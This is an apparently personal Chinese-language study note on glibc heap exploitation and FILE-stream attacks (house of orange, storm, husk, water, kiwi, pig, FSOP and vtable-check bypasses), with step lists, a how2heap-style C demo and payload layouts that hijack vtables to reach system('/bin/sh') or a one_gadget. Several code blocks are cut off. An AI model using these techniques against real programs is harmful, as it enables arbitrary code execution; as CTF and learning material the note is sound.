- 效果:任意函数/命令执行
- 特点:无
free - 利用过程:
- 先利用溢出等方式进行篡改
top chunk的size - 然后申请一个大于
top chunk的size - 实现了将堆块放入
unsortedbin
- 先利用溢出等方式进行篡改
- 伪造结构:
nb表示申请堆块大小MINSIZE<old_top_size<nb+MINSIZEold_top_size的prev_size位是1(old_top_size+old_top)&0xfff=0x000nb<0x20000
unsortedbin attack- 往一个指定地址里写入一个很大的数
(main_arena+88或main_arena+96) - 实现:
- 向
unsortedbin的尾部chunk的bk指针写入target_addr-0x10
- 向
- 完成了
unsortedbin attack后将无法从unsortedbin中获得堆块了
- 往一个指定地址里写入一个很大的数
FSOP- 原理:
- 篡改
_IO_list_all和_chain,来劫持IO_FILE结构体,让IO_FILE结构体落在我们可控的内存上,然后在FSOP中我们使用_IO_flush_all_lockp来刷新_IO_list_all链表上的所有文件流,也就是对每个流都执行一下fflush,而fflush最终调用了vtable中的_IO_overflow - 而前面提到了,我们将
IO_FILE结构体落在我们可控的内存上,这就意味着我们是可以控制vtable的,我们将vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址,因此我们让IO_FILE结构体中的flags成员为/bin/sh字符串,那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp即可拿到shell
- 篡改
- 布局
- 篡改
_IO_list_all为main_arena+88这个地址,chain字段是首地址加上0x68偏移得到的,因此chain字段决定了下一个IO_FILE结构体的地址为main_arena+88+0x68,这个地址恰好是smallbin中size为0x60的数组 - 将一个
chunk放到这个smallbin中size为0x60的链上,那么篡改_IO_list_all为main_arena+88这个地址后,smallbin中的chunk就是IO_FILE结构体了, - 将其申请出来后可以控制这块内存从而伪造
vtable字段进行布局最终拿到shell
- 篡改
- 检查绕过
mode=0_IO_write_ptr=1_IO_write_base=0_flag=/bin/sh
- 成功概率只有
50% glibc-2.24后加入vtable的check,但可以利用IO_str_jumps结构利用unsortedbin attack和FSOP攻击都是构造数据在一个payload里的
- 原理:
payload=b'f'*0x400 |
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) |

house of rabbit
- 版本:2.23~2.31
- 目的:获得某块内存的任意写
- 核心:利用
fastbin consolidate使fastbin中的fake chunk合法化 - 利用方式:
- 修改fd
- 申请
chunk A (fastbin)、chunk B (smallbin) - 释放
chunk A,修改A->fd指向地址X free chunk B使fake chunk被放到了unsortedbin- 分配足够大的
chunk等能触发malloc_consolidate使fake chunk进入到对应的smallbin/largebin - 取出
fake chunk进行读写即可
- 申请
- 堆叠
- 修改fd
- 利用前提
UAFfastbin的fd或size域可写- 超过
0x400大小的堆分配
house of roman
- 版本:2.23~2.29
- 目的:
getshell - 利用方式:
Step 1- 构造
chunkchunk_0:size=0x70fastbin_victimUAF
chunk_1:size=0x90- 使
chunk_2页对齐
- 使
chunk_2:size=0x90main_arena_useunsortedbin
chunk_3:size=0x70relative_offset_heap- 写相对地址
free(chunk_2)malloc(0x60)chunk_2->chunk_2_1(0x70,fake_libc_chunk)+chunk_2_2(0x20,leftover_main,unsortedbin)
free(chunk_3)+free(chunk_0),都在fastbinedit(chunk_0->fd=fake_libc_chunk_prev_size_addr)edit(fake_libc_chunk->fd=__malloc_hook-0x23)- 爆破
malloc(0x60)*3
- 构造
Step 2malloc(chunk_4,size=0x90)+malloc(0x30)free(chunk_4)edit(chunk_4->bk=__malloc_hook-0x10)malloc(malloc_hook_chunk,size=0x90)edit(malloc_hook_chunk->fd=ogg_addr)
- 利用前提
UAF- 不需要泄露地址
- 爆破16位,
1/40960
house of storm
- 版本:2.23~2.29
- 目的:任意地址写
- 伪造结构
unsorted_bin->fd = 0
unsorted_bin->bk = fake_chunk
large_bin->fd = 0
large_bin->bk = fake_chunk+8
large_bin->fd_nextsize = 0large_bin->bk_nextsize = fake_chunk - 0x18 -5
- 利用方式:
chunk_1:size=0x410chunk_2:size=0x30chunk_3:size=0x420chunk_4:size=0x30chunk_5:size=0x30chunk_6:size=0x30free(chunk_1)+free(chunk_3)+free(chunk_5)malloc(chunk_5)malloc(chunk_3)+free(chunk_3)edit(chunk_3->bk=__malloc_hook-0x50)edit(chunk_1->bk=__malloc_hook-0x50+8)edit(chunk_1->bk_nextsize=__malloc_hook-0x50-0x18-5)malloc(0x48)(__malloc_hook_chunk)edit(__malloc_hook_chunk+0x40=ogg_addr)malloc->getshell
- 利用前提
UAFunsortedbin attack、largebin attack
house of corrosion
- 版本:2.23~
- 目的:任意地址读写,任意地址值转移
- 伪造结构
chunk size = (target_addr - &main_arena.fastbinsY) x 2 + 0x20
- 利用方式:
- 读
target_addr的target_message- 释放
fastbin A到target_addr使A->fd指向target_message
- 释放
- 写
target_message到target_addrmalloc(A,size=chunk size)unsortedbin attack change global_max_fastfree(A)- 使
A->fd为target_message malloc(A)
- 转移
attack_addr的target_message到target_addr地址上src_size=(attack_addr-fastbinY)*2+0x20dst_size=(target_addr-fastbinY)*2+0x20malloc(A,size=dst_size)malloc(B,size=dst_size)free(B)free(A)unsortedbin attack change global_max_fast- 使
attack_addr的fd指向的堆A的fd指向自己 malloc(A),edit(A->size=src_size),free(A)- 此时A落入
target_addr的fd指针值变成target_message edit(A->size=dst_size),落入target_message,malloc(A)
- 读
- 利用前提
UAF、堆溢出- 不需要泄露地址,爆破
1/16 - 任意大小分配
- 可以修改
global_max_fast
house of husk
- 版本:2.23~2.35
- 目的:
backdoor or getshell - 伪造结构
__printf_function_table!=NULL__printf_arginfo_table=control_addr__printf_arginfo_table[spec]=backdoor_addr
- 执行顺序:
printf->vprintf->(if __printf_function_table!=NULL)printf_positional->__parse_one_specmb->(*__printf_arginfo_table[spec->info.spec])
- 利用方式:
unsortedbin leak libc、unsortedbin attack global_max_fast
- 利用前提
UAF、堆溢出- 任意大小分配
- 可以修改
global_max_fast
printf:__vfprintf_internalbuffered_vfprintf
printf_positional__parse_one_specmb(*__printf_arginfo_table[spec->info.spec])
house of mind
house of muney
house of rusk
house of crust
house of io
house of botcake
通过第一次free进unsorted bin,第二次free进tcache bin构造chunk overlap,实现tcache中的double free,从而轻易实现tcache poisoning以进行后续攻击
以适当的大小(大于最大fastbin,小于等于最大Tcache)先malloc 7个chunk用于填充tcache,再分别malloc一个合并堆块prev,一个与前面7个相同大小的被攻击堆块victim,然后malloc一个任意大小chunk用于和top chunk分隔 void* chunks[7];
for(int i=0; i<7; i++){
chunks[i]=malloc(0x80);
}
void* prev=malloc(0x80);
void* victim=malloc(0x80);
malloc(0x10);
free掉前7个chunk,填满tcache;然后按顺序free掉victim和prev,触发prev与victim的合并
for(int i=0; i<7; i++){ |
malloc一个相同大小的chunk,使Tcache bin腾出一个位置 malloc(0x80);
再次free victim,此时victim进入Tcache,实现double free free(victim);
malloc一个合适大小(大于max(prev,victim),小于等于prev+victim的chunk),再malloc一个与victim相同大小的chunk,此时这两个chunk间存在重叠。
char* a=malloc(0x100); |
house of water
- 在没有
show的情况下可以利用UAF(EAF)并且可以申请超大堆块
how2heap演示
int main(){
void *_ = NULL;
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
//step1:添加堆块0x3e8,0xf8之后依次释放,在tcache_perthread_struct上面伪造一个size 0x10001(在0x88偏移处)
void *fake_size_lsb = malloc(0x3d8);
void *fake_size_msb = malloc(0x3e8);
free(fake_size_lsb);
free(fake_size_msb);
void *metadata = (void *)((long) (fake_size_lsb & -(0xfff)));
//填满0x90的tcache链,这样再申请最终大小为0x90堆块并释放后就会进入unsortedbin
void *x[7];
for(int i = 0 ; i < 7 ; i ++){
x[i] = malloc(0x88);
}
//间隔创建三个chunk,并且增加间隔防止合并,这三个chunk全部在unsortedbin的位置。然后创建了一个巨大的0xf000的chunk,用来填充到0x10001,目的是为了让最开始讲的tcache_perthread_struct那个0x10001作为size是合法的
void *unsorted_start = malloc(0x88);
_ = malloc(0x18);
void *unsorted_middle = malloc(0x88);
_ = malloc(0x18);
void *unsorted_end = malloc(0x88);
_ = malloc(0x18);
_ = malloc(0xf000);
//创建0x20大小的 chunk,并且伪造prev_size和下一个chunk的size:0x20
void *end_of_fake = malloc(0x18);
*(long *)end_of_fake = 0x10000;
*(long *)(end_of_fake + 0x8) = 0x20;
//填满 tcachebin
for(int i = 0 ; i < 7 ; i ++){
free(x[i]);
}
//在unsorted_start的上面设置了一个0x31的堆块并且释放,释放掉之后由于进入tcachebin会加入一个验证的key,这个key会覆盖掉原本unsorted_start的size,所以得还原
*(long *)(unsorted_start - 0x18) = 0x31;
free(unsorted_start - 0x10);
*(long *)(unsorted_start - 0x8) = 0x91;
//在unsorted_end的上面设置了一个0x21的堆块并且释放,释放掉之后由于进入tcachebin会加入一个验证的key,这个key会覆盖掉原本unsorted_start的size,所以得还原
*(long *)(unsorted_end - 0x18) = 0x21;
free(unsorted_end - 0x10);
*(long *)(unsorted_start - 0x8) = 0x91;
//在tcache_perthread_struct中,0x20大小的会在tcachebin的第一个位置,而0x30大小的会在tcachebin的第二个位置,于是就造成了0x10001这个值下面刚好是这么两个地址,这样的话,也就是说假设0x10001进入bin,那么它的fd指针将指向unsorted_end,而bk指针将指向unsorted_start
//释放了三个chunk,unsortedbin里会变成:unsorted_start->unsorted_middle->unsorted_end
free(unsorted_end);
free(unsorted_middle);
free(unsorted_start);
//将unsorted_start的fd指针变成fake_chunk,unsorted_end的bk指针变成fake_chunk
*(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
*(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
//unsortedbin变成了unsorted_start->fake_chunk->unsorted_end
//进行切割如果unsortebin 里面没有合适大小的块,则它会按顺序分配到smallbin或者largebin中,然后再进行切割,很明显这里会把unsorted_start和unsorted_end放入smallbin,而fakechunk进入largebin
//所以只要选择一个小于0x10000的块,这样在放入各自的bin之后,由于只有fakechunk进入了largebin,它一定会在某两个位置出现libc地址,而这两个位置会变成tcachebin的两个
//在此之后,如果申请相应大小的tcachebin的chunk,则会在libc上建立相应的堆块
void *meta_chunk = malloc(0x288);
assert(meta_chunk == (metadata+0x90));
}_IO_FILE就行了,将flag设置为 0xfbad1800 ,目的是让他冲掉缓冲区,将内容输出出来 然后read_ptr,read_end,read_base这三项随意,设置为0,同时修改好 write_base write_ptr 和 write_end 然后他会输出从 write_base 到 write_ptr 中的内容
泄露libc后可以打house of apple
house of tangerine(house of orange plus)
house of minho
IO_FILE
IO数据结构
对于LBA硬盘来说,读写数据都必须一块一块的读,如果我们每次执行read,write时都是操作很少的数据,则对系统消耗非常大,因此,C库就想了一个好办法——缓冲区。所以,就比较好理解了,缓冲区是为了减少3坏操作外部硬件时的消耗产生的,一切都是以外部硬件为服务对象。
1.从外部硬件读取时。为了减少消耗,会一次从外部硬件读取一“块”数据,并放入缓冲区,然后当target需要时,再从头部慢慢读取,只到读完才再次从硬件读取。这个缓冲区叫输入缓冲区。 2.向外部硬件写入时。为了减少消耗,不会一有东西就写入,而是先将内容从source写入缓冲区,当缓冲区满了时候再将内存一起写入硬件。这个缓冲区叫输出缓冲区。
首先,以从外部硬件读取为例,我们要有输入缓冲区开始(base)、结尾(end)和当前(ptr)已经用了多少的指针。很明显当ptr == end时,说明输入缓冲区里的东西已经全部读完,需要重新从硬件读入。 同样,对于向外部硬件写入为例,我们要有输出缓冲区开始(base)、结尾(end)和当前(ptr)已经写了多少的指针。很明显当ptr == end时,说明输出缓冲区已经写满,可以向硬件写入了。
上面的内容看似非常清楚,但这里其实有一些比较容易混乱的地方。因为缓冲区内存储的是数据,输入、输出两者数据流动方向不同,但保护主体都一样,都是外部设备,所以有用的数据部分就有所不相同。 1. 对于输入缓冲区ptr-end是有用的数据,base-ptr为已使用的数据。 2. 对于输出缓冲区base-ptr是要写入硬件的内容(有用数据),ptr-end为空闲区域。 3. 两者结尾有所不同。 1. 对于输入缓冲区,因为从硬盘中读取的数据可能无法填满整个缓冲区的块,所以_IO_buf_end != _IO_read_end。输入缓冲区要使用_IO_read_end判断结束。 2. 对于输出缓冲区,缓冲区的结束就是输出缓冲区结束,_IO_buf_end == _IO_write_end。输出缓冲区往往使用_IO_buf_end判断结束。
虽然,输入、输出缓冲区作用不同,但原理上都是一块内存。一块外部设备可能既可以写入也可以读取,为了节省空间,我们可以定义一块缓冲区,需要输入的时候就做输入缓冲区,需要输出就做输出缓冲区。那么我们就有了8个指针。 char *_IO_buf_base; //缓冲区的基地址
char *_IO_buf_end; //缓冲区的结束地址
char *_IO_read_base; //输入缓冲区基地址
char *_IO_read_ptr; //输入当前位置
char *_IO_read_end; //输入缓冲区结尾地址
char *_IO_write_base; //输出缓冲区基地址
char *_IO_write_ptr; //输出当前位置
char *_IO_write_end; //输出缓冲区结尾地址
从文件中读取 程序是从fd中读取一批数据到缓冲区中(_IO_buf_base 至 _IO_buf_end),_IO_read_ptr 指向已向target中写完的位置,既 _IO_read_ptr 至 _IO_read_end 为还没有写入target中的数据。当_IO_read_ptr == _IO_read_end时,说明输入缓冲区内已经没有可用数据,需要再次从文件中读入数据。
向文件输出 程序是先将source中的数据写入到缓冲区中,_IO_write_ptr 指向已从source中写到的位置,既 _IO_write_ptr 至 _IO_write_pend 为还剩余的空间。当_IO_write_ptr == _IO_buf_end时,再全部写入fd中。
IO数据操作
1.从硬盘中读入数据
- 从
fd中读取一批(一块)数据到输入缓冲区中(_IO_buf_base至_IO_buf_end),同时对_IO_read_base_IO_read_ptr_IO_read_end设置初始值。(_IO_read_ptr == _IO_read_base,当然也可能不同) - 从
_IO_read_ptr处向需要的内存中复制数据,同时把_IO_read_ptr向后移位。 - 当
_IO_read_ptr == _IO_read_end时,说明缓冲区内已经没有可用数据,需要再次从文件中读入数据。冲入第一步。
2.向硬盘中写入数据
- 先将
source中的数据复制到输出缓冲区中,_IO_write_ptr指向已写到的位置。 - 当
_IO_write_ptr == _IO_buf_end时,将缓冲区中的内容全部写入fd中,并将_IO_write_ptr设置为_IO_write_base,重复第一步。
3.申请缓冲区
申请一块缓冲区,并设置_IO_buf_base为开头,_IO_buf_end为结尾。
_IO_file_jumps 函数操作
1._IO_new_file_finish
是文件结束的操作,所以它的操作如下 1. 清空所有缓冲区 2. 关闭(close)文件
2._IO_new_file_overflow
主要是处理当输出缓冲区用完时,向硬盘写入数据
当然,其实这个函数内部非常复杂,加入了一些检测。例如,如果缓冲区不存在则要初始化缓冲区。并且,这个函数的参数中有一个标志位 1. 如果 ch == EOF,则输出f->_IO_write_ptr - f->_IO_write_base的区间。 2. 如果 ch != EOF,并且f->_IO_write_ptr == f->_IO_buf_end,则将缓冲区全部输出。 3. 如果 ch == '\n',则输出 f->_IO_write_ptr - f->_IO_write_base加一个换行符。 4. 以上都不满足就返回ch
3._IO_new_file_underflow
这个函数与_IO_new_file_overflow差不多,主要是用于从硬盘中读取数据,每次读取都是_IO_buf_base至_IO_buf_end。
为了防止硬盘中没有这么多数据,设置_IO_read_end为读取的总数。如果,缓冲区不存在则要初始化缓冲区。程序返回_IO_read_ptr指针。
4.__GI__IO_default_uflow(_IO_default_uflow)
这个函数就是调用_IO_new_file_underflow,并简单做了一些检测。
5.__GI__IO_default_pbackfail(_IO_default_pbackfail)
设置存储的函数,暂不重要。
6._IO_new_file_xsputn
这个函数是主要目的是将数据从source放入输出输出缓冲区。显然,放入过程中还有几种情况。 1. 如果要写入的数据小于剩余的空间_IO_write_ptr - _IO_buf_end,那么就直接将数据写入输出缓冲区即可。 2. 如果要写入的数据大于剩余的空间_IO_write_ptr - _IO_buf_end。 1. 先将输出缓冲区填满,再调用_IO_new_file_overflow清空输出缓冲区。 2. 剩余的数据继续调用 _IO_new_file_xsputn
说明:我们平时的输出函数主要就是调用此函数。
7.__GI__IO_file_xsgetn(_IO_file_xsgetn)
这个函数是主要目的是将数据从输入缓冲区放入target。显然放入过程中还有几种情况。 1. 如果要读取的数据小于剩余的数据_IO_read_ptr - _IO_read_end,那么就直接将数据读取到target即可。 2. 如果要读取的数据大于剩余的数据_IO_read_ptr - _IO_read_end。 1. 先将输入缓冲区全部数据读出,再调用_IO_new_file_underflow从硬盘读入一块数据。 2. 如果需要读取数据特别多,就调用__GI__IO_file_read从硬盘直接读取数据。
说明:我们平时的输入函数主要就是调用此函数。
8._IO_new_file_seekoff
设置偏移函数,就是设置我们所说的ptr指针。
9._IO_default_seekpos
就是调用_IO_new_file_seekoff。
10._IO_new_file_setbuf
这个函数也比较简单,看名字就知道是设置缓冲区的,作用就是初始化各个缓冲区 1. _IO_write_base = _IO_write_ptr = _IO_write_end = _IO_buf_base 2. _IO_read_base = _IO_read_ptr = _IO_read_end = _IO_buf_base (使用 _IO_setg 宏)
11._IO_new_file_sync
同步函数,负责与硬盘和缓冲区之间进行同步。
12.__GI__IO_file_doallocate(_IO_default_doallocate)
这个就是申请缓冲区的函数,申请完之后还要把输入、输出缓冲区初始化。
13.GI__IO_file_read(_IO_file_read)
这个是输入的最终函数,它将syscall_read进行了一定的封装。
14._IO_new_file_write
这个是输出的最终函数,它将syscall_write进行了一定的封装。
15.GI__IO_file_seek(_IO_file_seek)
调用__lseek64。
16.__GI__IO_file_close(_IO_file_close)
就和名字一样,关闭文件。
17.__GI__IO_file_stat(_IO_file_stat)
获取文件描述符的状态。调用__fxstat64。
18._IO_default_showmanyc
此函数没用,返回-1。
19._IO_default_imbue
此函数没用。
20.其他一些内容
flag标志位
` |
flush(_IO_do_flush)
清空缓冲区,将输出缓冲区清空。
全部清空函数(fflush)
|
可以看出 fflush函数在参数为空时,清空(_IO_flush_all_lockp => _IO_OVERFLOW)全部文件;不为空时,同步(sync)指定文件,两种情况执行步骤不同。
缓冲区设置宏
_IO_setg _IO_setp 等等
虚表检测
虚表检测是2.24之后加入的内容,IO_validate_vtable检测如果虚表超出范围就进入_IO_vtable_check函数。各路大神找到的house很多都不是打file的跳表,而是其他处理跳表,但都差不太多。简要梳理如下。
- 2.23 的没有任何限制,可以将
vtable劫持在堆上并修改其内容,然后触发FSOP, - 2.24 引入了
vtable check,使得将vtable整体劫持到堆上已不可能,大佬发现可以使用内部的vtable中_IO_str_jumps或_IO_wstr_jumps来进行利用。 - 2.31 中将
_IO_str_finish函数中强制执行free函数,导致无法使用上述问题,因而催生出其他调用链。
虚表范围
虚表位置判断主要在IO_validate_vtable函数,2.37以前判断区间为_IO_helper_jumps - _IO_str_jumps之间的区域 0xd60,里面有以下虚表 _IO_helper_jumps
_IO_helper_jumps
_IO_cookie_jumps
_IO_proc_jumps
_IO_str_chk_jumps
_IO_wstrn_jumps
_IO_wstr_jumps
_IO_wfile_jumps_maybe_mmap
_IO_wfile_jumps_mmap
__GI__IO_wfile_jumps
_IO_wmem_jumps
_IO_mem_jumps
_IO_strn_jumps
_IO_obstack_jumps
_IO_file_jumps_maybe_mmap
_IO_file_jumps_mmap
__GI__IO_file_jumps
_IO_str_jumps
攻击_IO_vtable_check
在IO_validate_vtable函数检查如果虚表超出范围,会进入_IO_vtable_check函数, void attribute_hidden _IO_vtable_check (void)
{
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
PTR_DEMANGLE (flag);
if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
return;ptr_guard,反算IO_accept_foreign_vtables然后修改。 2. 因为IO_accept_foreign_vtables中基本都是0,直接将ptr_guard修改为&_IO_vtable_check也可以。 但无论如何我们都需要有ld文件
外置虚表
check_stdfiles_vtables函数是设置外置虚表的函数,如果能执行这个函数,也可以绕过虚表检测 static void check_stdfiles_vtables (void)
{
if (_IO_2_1_stdin_.vtable != &_IO_file_jumps
|| _IO_2_1_stdout_.vtable != &_IO_file_jumps
|| _IO_2_1_stderr_.vtable != &_IO_file_jumps)
IO_set_accept_foreign_vtables (&_IO_vtable_check);
}
IO_FILE结构体
_IO_FILE_plus
0x0 _flags |
_IO_wide_data
/* Extra data for wide character streams. */ |
_IO_wstrn_jumps
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden = |
_IO_obstack_jumps
/* the jump table. */ |
IO_FILE结构体的调用
初始化
初始情况下 _IO_FILE 结构有 * _IO_2_1_stderr_ * _IO_2_1_stdout_ * _IO_2_1_stdin_ 通过 _IO_list_all 将这三个结构连接,_chain指向下一个结构体 * _IO_list_all->_IO_2_1_stderr_->_IO_2_1_stdour_->_IO_2_1_stdin_ 并且存在 3 个全局指针 * stdin指向 _IO_2_1_stdin_ * stdout指向_IO_2_1_stdout_ * stderr指向_IO_2_1_stderr_ 存在函数指针结构体vatble,存放着各种 IO 相关的函数的指针 [[./_IO_list_all1.png]] ### fopen * fopen * _IO_new_fopen * __fopen_internal * malloc创建lock_FILE结构体 * _IO_no_init对结构体进行null初始化 * _IO_file_init将结构体链入_IO_list_all * _IO_file_open执行系统调用打开文件
fread
fread_IO_sgetn_IO_file_xsgetn- 若缓冲区没有初始化则调用
_IO_doallocbuf->_IO_file_doallocate初始化IO缓冲区,申请一块堆,只初始化_IO_buf_base、_IO_buf_end - 若缓冲区有数据未复制到buf,则在buf数据总量不超过所需数据的前提下尽可能多把数据复制到buf中
- 若缓存区长度小于所需数据长度则重置缓冲区读写指针
_underflow调用系统函数_IO_SYSREAD向buf读入数据
pwndbg> heap |
pwndbg> tele 0x555555559470 |
[[./fread1.png]]
fwrite
fwrite_IO_fwrite_IO_file_xsputn- 若缓冲区有剩余空间,则在不超过缓冲区空闲空间的前提下尽可能多的待输出数据复制到缓冲区
- 若有数据没有复制到缓冲区中,则调用
_IO_new_file_overflow输出并清空输出缓存区数据 new_do_while直接输出buf中数据- 如果还有剩余数据则调用
_IO_default_xsputn复制到输出缓冲区,如果剩余长度大于20字节则使用memcpy否则直接赋值 [[./fwrite1.png]]
fclose
fopen_IO_new_fclose_IO_un_link_IO_file_close_it
vtable
fopen
函数是在分配空间,建立FILE结构体,未调用vtable中的函数
fread
_IO_sgetn函数调用了_IO_file_xsgetn_IO_doallocbuf函数调用了_IO_file_doallocate以初始化输入缓冲区_IO_file_doallocate调用了__GI__IO_file_stat获取文件信息__underflow调用了_IO_new_file_underflow实现文件数据读取_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read
fwrite
_IO_fwrite调用了_IO_new_file_xsputn_IO_new_file_xsputn调用了_IO_new_file_overflow实现缓冲区的建立以及刷新缓冲区_IO_new_file_overflow调用了_IO_file_doallocate以初始化输入缓冲区_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息new_do_write中的_IO_SYSWRITE调用了vtable_IO_new_file_write最终去执行系统调用write
fclose
- 在清空缓冲区的
_IO_do_write中会调用vtable中的函数 - 关闭文件描述符
_IO_SYSCLOSE为vtable中的__close函数 _IO_FINISH为vtable中的__finish
FSOP
- 核心思想:劫持
_IO_list_all指向伪造的_IO_FILE_plus,之后使程序执行_IO_flush_all_lockp函数。该函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow - 利用前提:
- 程序执行
_IO_flush_all_lockp函数有三种情况:- 当
libc执行abort流程时(2.27之后不再刷新) - 当执行
exit函数时(仅刷新stderr,2.36后不再刷新) - 当执行流从
main函数返回时
- 当
- 绕过检查
- 程序执行
abort栈回溯为: _IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
__GI_abort ()
__libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7ba0d58 "*** Error in `%s': %s: 0x%s ***\n")
malloc_printerr (action=0x3, str=0x7ffff7ba0e90 "double free or corruption (top)", ptr=<optimized out>, ar_ptr=<optimized out>)
_int_free (av=0x7ffff7dd4b20 <main_arena>, p=<optimized out>,have_lock=0x0)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()exit函数,栈回溯为: _IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
__libc_start_main (main=0x400526 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW(fp, EOF) == EOF) { |
fake_file = b"" |
缓冲区利用(未完善)
stdin
任意地址写
stdout
任意地址写
任意地址读
__IO_str_jumps(under 2.27)
利用
_IO_str_jumps或__IO_wstr_jumps填入vtable绕过IO_validate_vtable检查确定
_IO_str_jumps地址- 由于
_IO_str_jumps不是导出符号,libc.sym["_IO_str_jumps"]查不到,可以利用_IO_str_jumps中的导出函数例如_IO_str_underflow进行辅助定位 - 首先先得到
_IO_str_underflow地址,然后查找所有指向该地址的指针 - 由于
_IO_str_underflow在_IO_str_jumps的偏移为0x20,并且_IO_str_jumps的地址大于_IO_file_jumps地址,因此可以在选择满足上述条件中最小的地址作为_IO_str_jumps的地址from bisect import *
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow']
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20
print(hex(IO_str_jumps))
- 由于
劫持
io_str_finishvoid
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}将
vatble指针修改为指向&_IO_str_jumps - 8的地址就可以执行_IO_str_finishfp->_IO_buf_base不为空,并且作为fp->_s._free_buffer的第一个参数,因此可以使用/bin/sh的地址fp->_flags要不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0_IO_write_base < _IO_write_ptr,_mode <= 0修改
((_IO_strfile *) fp)->_s._free_buffer为system地址,即将fp+0xE8处的值改为system地址执行
_IO_flush_all_lockp
堆利用结合
leak libc
libc-2.23
fastbin attack在_IO_2_1_stdout_-0x43处申请fastbin- 修改
_IO_write_base指针的最低 1 字节使其指向_chain变量,而_chain变量中存储了_IO_2_1_stdin_结构体地址,程序在下一次输出内容时会先将write buf中的内容输出出来
vtable
fastbin attack在_IO_2_1_stdout_+157地址处申请0x60大小的堆块- 修改
vtable指针指向事先伪造的vtable(*(vtable+0x10)=system_addr),在调用IO函数时会将_IO_2_1_stdout_结构体指针作为参数传入vtable中的函数,因此可以在_IO_2_1_stdout_结构体flag字段之后的 4 字节填充中写入;sh;
house of orange
见attack ### house of husk 见attack ### house of kiwi(under 2.36) * 在没有exit下调用vtable sysmalloc: assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));__malloc_assert: static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}fflush中的_IO_fflush,会调用call [rbp + 0x60],rbp指向_IO_file_jumps_,调用的是_IO_new_file_sync,并且_IO_file_jumps_可写,因此只需要将_IO_file_jumps_对应_IO_new_file_sync函数指针的位置覆盖为one_gadget就可以获取
setcontext+61
.text:0000000000050C0D mov rsp, [rdx+0A0h] |
调用_IO_new_file_sync时rdx指向的是_IO_helper_jumps_结构,可以通过修改_IO_helper_jumps_中的内容来给寄存器赋值
以rop方法为例,需要设置rsp指向提前布置号的rop的起始位置,同时设置rip指向ret 指令
如果存在一个任意写,通过修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61 修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移
house of pig(仍可以任意写)
- 起码
UAF
- 先用
UAF漏洞泄露libc、heap - 再用
UAF修改largebin内chunk的fd_nextsize和bk_nextsize位置,完成一次largebin attack,将一个堆地址写到__free_hook-0x8的位置,使得满足之后的tcache stashing unlink attack需要目标fake chunk的bk位置内地址可写的条件 - 先构造同一大小的
5个tcache,继续用UAF修改该大小的smallbin内chunk的fd、bk位置,完成一次tcache stashing unlink attack,由于前一步已经将一个可写的堆地址,写到了__free_hook-0x8,所以可以将__free_hook-0x10的位置当作一个fake chunk,放入到tcache链表的头部,但是由于没有malloc,我们无法将他申请出来 - 最后再用
UAF修改largebin内chunk的fd_nextsize和bk_nextsize位置,完成第二次largebin attack,将一个堆地址写到_IO_list_all的位置,从而在程序退出前fflush所有IO流的时候,将该堆地址当作一个FILE结构体,我们就能在该堆地址的位置来构造任意FILE结构了 - 在该堆地址构造
